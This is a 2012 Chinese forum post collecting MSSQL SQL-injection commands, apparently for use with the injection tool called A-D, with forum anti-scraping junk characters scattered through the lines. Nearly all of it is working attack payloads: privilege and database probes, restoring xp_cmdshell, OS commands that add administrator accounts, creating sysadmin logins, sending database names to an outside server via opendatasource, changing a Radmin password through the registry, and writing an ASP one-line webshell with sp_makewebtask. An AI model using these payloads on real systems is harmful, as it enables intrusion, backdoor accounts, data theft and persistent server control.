找回密码
 立即注册
查看: 2250|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令4 r( i1 [& [- t5 v1 X
//看看是什么权限的3 w9 V; l6 j6 |
and 1=(Select IS_MEMBER('db_owner'))' g7 Z: y7 @. ?! ~6 r
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--6 I) a  N: G" j( ]% Q1 b% _

* i9 o4 P/ }6 i7 [//检测是否有读取某数据库的权限
) `+ g+ F5 O/ Fand 1= (Select HAS_DBACCESS('master'))
! k3 x  N+ i5 h9 W7 n& cAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
# Z( s8 j/ F$ \4 z% E2 I* @9 Q/ ~- y. c5 U( j8 \
9 B( c0 g  b% s
数字类型, a' T& ~3 {" J/ [1 ~! J" H# \7 a
and char(124)%2Buser%2Bchar(124)=0
3 q; w& x+ e- h1 L; Q
6 x( z$ f4 k' A! u6 s' r4 x字符类型
/ l% u: R# W3 ]2 V6 c5 [! c1 T' and char(124)%2Buser%2Bchar(124)=0 and ''='4 w( W9 e% l5 h3 c( T$ O& o
! t* z6 [9 T3 ?' v
搜索类型" o2 Q) K+ k: s" y
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
' M% Z4 N/ h  `. M$ a) i& U2 R1 E& D+ |8 l( \
爆用户名  ]% ~& K0 v3 `2 ]* F7 Q
and user>04 h" @1 ]  `* c$ J# V% m8 y3 y
' and user>0 and ''='0 C' `8 O; X7 v) H8 x

7 a9 h6 Z5 x7 _# v" V& H" M检测是否为SA权限6 j* s6 P7 ]" D2 Z
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
5 l; ~$ T! ~3 [" z% d$ KAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
" J9 q$ n9 Z9 m: @% x0 U- w& p9 h, W) M/ D
检测是不是MSSQL数据库; ?- K7 l# G3 ]
and exists (select * from sysobjects);-- , T$ Y* C- a( s, }* W  I
! E, k% H- M# K. c/ ]
检测是否支持多行! M: p7 p5 U- y! f5 y+ \1 X0 S
;declare @d int;--
  c6 Q1 Z1 a$ E% {4 I# F- W- m# V9 m8 H# h, s' p7 I
恢复 xp_cmdshell" a( ?4 c" O) l8 a
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--6 j" i3 s# v! X1 o9 i, P

8 R6 L7 U' f# @& g( z( m0 R+ _
& R$ I; H) w2 K' v4 _select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') / t: a# j' o; }- u& ~1 r
0 v' e- S" z5 P+ n
//-----------------------# a8 m2 b, h- g8 {0 ?) r* V
//      执行命令
3 t6 m( P. l+ J: c2 r//-----------------------7 w; ~9 L' E" h2 E) ]2 a/ `
首先开启沙盘模式:9 W- {7 t9 d% V( i8 X5 U; w
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',18 }) ^! C: o# R* c, }
. o7 V4 l. ?8 l
然后利用jet.oledb执行系统命令
/ `1 U4 w& ^' _) x; T9 P2 xselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')) |8 @  y& T* b, {% `: R
, d: A6 V$ P4 ~" ?
执行命令
- D2 V% i( n9 P/ L& R+ \/ i;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--% z* n" z" c  T0 g( x& v5 j' Q1 o

) K5 z- I7 G8 `/ t! }2 R: ]EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'+ m3 x3 d4 s7 ]% S

& f! k* M$ \; J6 e4 J7 R0 ?' G判断xp_cmdshell扩展存储过程是否存在:
4 V+ O0 e7 U8 Fhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')$ d+ L) e% d  r: T! v# y
9 r1 }9 T$ z: c: c* P7 a; J+ q
写注册表
+ d' E( @: g2 V4 p- C7 s" eexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
3 ?. b; @7 f5 ?  I
# R7 C3 R. j' E5 a* a7 ?REG_SZ- L3 |6 s* \. E- f6 O* o6 a- k4 I  ^
5 D8 C. Q9 R) |& T' n
读注册表
* O, u0 A! |  N4 ^. \6 Wexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'; S+ ], J* k& ~  V- R# L

2 I8 c/ L# h  G读取目录内容+ |5 r; ^( Z2 u) ]# x4 v
exec master..xp_dirtree 'c:\winnt\system32\',1,1
/ Z5 k' L/ A- r3 z8 F# f0 M" i& @9 R! e8 K8 F3 O

$ S1 T% g) j. N+ t) ^$ M数据库备份
" d  C; ]. M5 |, Z) lbackup database pubs to disk = 'c:\123.bak', ]0 ?0 j7 e! z7 f, \6 V4 M: R

* |! W) \) C* r: n5 B//爆出长度
3 J  R& V( z1 g7 C* m$ wAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
/ J+ [2 @% W- N9 `, q! C2 Y2 o9 V# @- E0 i) ~) C

9 A  T: J2 Q1 n- d% G2 A2 [. z) f) I+ y+ A, U0 c
更改sa口令方法:用sql综合利用工具连接后,执行命令:% F! I2 M* v* x- }/ I' h
exec sp_password NULL,'新密码','sa'' E* I8 A* i9 k+ i% e& s& ?. J

/ Y, s7 W- Y, _6 w2 d$ c+ A0 w添加和删除一个SA权限的用户test:
- M( B( G% [7 ]3 X; X" F# \) Vexec master.dbo.sp_addlogin test,ptlove$ c, p# U3 W( y  Q1 x+ h5 l
exec master.dbo.sp_addsrvrolemember test,sysadmin
4 ^  l2 i" M5 X& v1 q
7 z' j$ |' J  o% `& D8 e删除扩展存储过过程xp_cmdshell的语句: ! }8 p" \* j( |2 Z/ }* q( e( O7 V
exec sp_dropextendedproc 'xp_cmdshell'+ a( n# U2 W; n* F* [+ d

8 W# m9 g6 T  w* p" w, q9 x添加扩展存储过过程
+ n& ~/ a4 n+ f  h: pEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
2 [% K8 m! w$ dGRANT exec On xp_proxiedadata TO public - J7 y3 B) ?( b- ]! D1 C

2 Q  s% r( U9 D7 [1 b% F
, Y3 ~; T; N5 H& }) u0 d! d停掉或激活某个服务。 ; j4 p, p0 t/ ]  i) k- s: a

/ A4 O6 \6 L6 r8 Lexec master..xp_servicecontrol 'stop','schedule'
& N  h! m8 l( B- B4 Z! h' zexec master..xp_servicecontrol 'start','schedule'. t: e7 G5 b. x8 ^$ J/ n# A
- D( p* I7 ^) u. I% V% }
dbo.xp_subdirs/ O5 a, \7 w( ^2 }& I+ X
6 E& q  a1 k; T
只列某个目录下的子目录。
% g. v5 e: K+ C3 Y0 S  z6 S0 Dxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
% t  A. K0 A! v* Q: S! w% s7 n9 g$ U% N
dbo.xp_makecab2 F* ^! W* F" H5 ~0 g" S
$ r) Z5 Y' G. u2 T1 ?: l
将目标多个档案压缩到某个目标档案之内。. e. U: A$ k' w9 m* G
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。1 [3 O% G! w8 p
; X, z2 W; H' s* s( U- V
dbo.xp_makecab
, ^3 a# c% ]$ |. P5 e'c:\test.cab','mszip',1,
, {1 o2 C1 O  ~'C:\Inetpub\wwwroot\SQLInject\login.asp',1 e) L% V4 q; }/ P9 }
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'! F+ q% p/ J+ y- m5 o
  P3 k6 Q8 C4 W4 l, S* e
xp_terminate_process5 Z, f  T9 V0 @
. ?# L5 c# H4 G5 N; T$ I, O  p$ m0 U
停掉某个执行中的程序,但赋予的参数是 Process ID。
5 G; G! J! g; _1 Q4 U! k) E利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID9 `* D/ m) f& [/ u
5 u3 Z) \- e1 v( C1 C
xp_terminate_process 2484* x" H4 N, K+ M4 x& F2 K

' h. k, I9 y, g. axp_unpackcab
" ~) x: u5 ~5 s$ W1 {) a
* z/ f2 S5 A( ^! g1 [5 w解开压缩档。
( p) R7 Q. Z. l* U. E6 [4 j: f3 f
9 ]. z% s; |' a( z" d8 _+ y4 `xp_unpackcab 'c:\test.cab','c:\temp',1" p/ h0 S8 |7 G

' d, C' B: j; A" p$ F, C
% n4 z) `5 A3 E) g# t某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
: Y- }* d  @0 \1 x" L! M% [* Z& }) i( [( C: X7 ]- H- H
create database lcx;9 W' S( t+ c4 v7 v; Y' D3 G7 l4 x3 y
Create TABLE ku(name nvarchar(256) null);
5 ]9 X2 v: b) X3 W+ Q- R2 K5 ~Create TABLE biao(id int NULL,name nvarchar(256) null);9 V4 O" l; Y( r1 Q- k' w
: n4 Z, ^9 C* U( j
//得到数据库名+ M5 ~. Y0 u+ e6 B6 _# p
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
# v1 r* X/ f7 K/ Z: ^
( M& M: e$ ]: {9 S% c8 z3 X
& O/ N) }: k6 I5 M* f8 a# I//在Master中创建表,看看权限怎样
" y5 T$ y8 [6 _( F2 X* P9 w( T, h- z; ^Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
$ {. ~; |) L: A
. d) l; t( S  A& Q' y用 sp_makewebtask直接在web目录里写入一句话马:! i) c% h* A7 g) U* M
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--9 D& G2 U: P( r& o) S8 i$ `. B; c

+ U) D: p) k" S0 c+ g, r+ H7 s//更新表内容+ U; O& w% R! N4 r* V7 \) P( O1 L
Update films SET kind = 'Dramatic' Where id = 123$ O, E3 l+ B+ n. i5 L4 K

6 g, B- D2 O) }: j6 W5 e//删除内容
6 X: c! Q; q& U7 \5 mdelete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表